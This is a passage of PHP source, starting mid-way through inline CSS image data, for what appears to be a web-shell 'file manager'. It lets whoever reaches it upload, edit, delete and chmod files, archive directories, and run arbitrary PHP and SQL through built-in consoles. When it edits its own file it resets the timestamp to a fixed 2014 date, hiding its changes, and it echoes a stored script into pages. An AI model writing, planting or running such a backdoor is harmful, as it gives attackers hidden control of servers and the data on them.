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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
sd<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
sd<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        sd<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        sd<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
